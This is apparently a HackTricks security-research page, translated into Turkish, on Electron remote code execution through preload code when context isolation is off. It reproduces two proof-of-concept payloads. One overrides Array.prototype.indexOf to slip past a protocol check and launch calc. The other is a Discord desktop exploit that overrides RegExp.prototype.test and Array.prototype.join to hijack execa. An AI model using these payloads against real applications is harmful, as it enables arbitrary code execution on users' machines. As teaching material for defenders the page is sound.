Electron contextIsolation RCE via preload code
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Örnek 1
https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30 adresinden bir örnek
Bu kod, http(s) bağlantılarını varsayılan tarayıcı ile açar:
file:///C:/Windows/systemd32/calc.exe
gibi bir şey, bir hesap makinesi çalıştırmak için kullanılabilir, SAFE_PROTOCOLS.indexOf
bunu engelliyor.
Bu nedenle, bir saldırgan bu JS kodunu XSS veya keyfi sayfa navigasyonu aracılığıyla enjekte edebilir:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
SAFE_PROTOCOLS.indexOf
çağrısı her zaman 1337 döndüreceği için, saldırgan korumayı atlayabilir ve calc'i çalıştırabilir. Son istismar:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Orijinal slaytlara, izinler için bir istem istemeden programları çalıştırmanın diğer yollarını kontrol edin.
Görünüşe göre kod yüklemek ve çalıştırmak için file://127.0.0.1/electron/rce.jar
gibi bir şeye erişmek başka bir yol.
Örnek 2: Discord Uygulaması RCE
https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1 adresinden bir örnek
Ön yükleme betiklerini kontrol ederken, Discord'un bazı izin verilen modüllerin DiscordNative.nativeModules.requireModule('MODULE-NAME')
aracılığıyla çağrılmasına izin veren bir işlevi web sayfasına açtığını buldum.
Burada, RCE için doğrudan kullanılabilecek child_process modülü gibi modülleri kullanamadım, ancak JavaScript yerleşik yöntemlerini geçersiz kılarak ve açığa çıkarılan modülün yürütülmesine müdahale ederek RCE'nin elde edilebileceği bir kod buldum.
Aşağıda PoC bulunmaktadır. calc uygulamasının getGPUDriverVersions
işlevini çağırdığımda açıldığını doğrulayabildim; bu işlev, devTools'tan "discord_utils" adlı modülde tanımlıdır ve RegExp.prototype.test
ve Array.prototype.join
yöntemlerini geçersiz kıldım.
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
getGPUDriverVersions
fonksiyonu, programı "execa" kütüphanesini kullanarak çalıştırmaya çalışır, aşağıdaki gibi:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
Genellikle execa, nvidiaSmiPath
değişkeninde belirtilen "nvidia-smi.exe" dosyasını çalıştırmaya çalışır, ancak RegExp.prototype.test
ve Array.prototype.join
'ın geçersiz kılınması nedeniyle, argüman _execa'nın iç işleyişinde "calc" ile değiştirilir.
Özellikle, argüman aşağıdaki iki bölüm değiştirilerek değiştirilir.
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.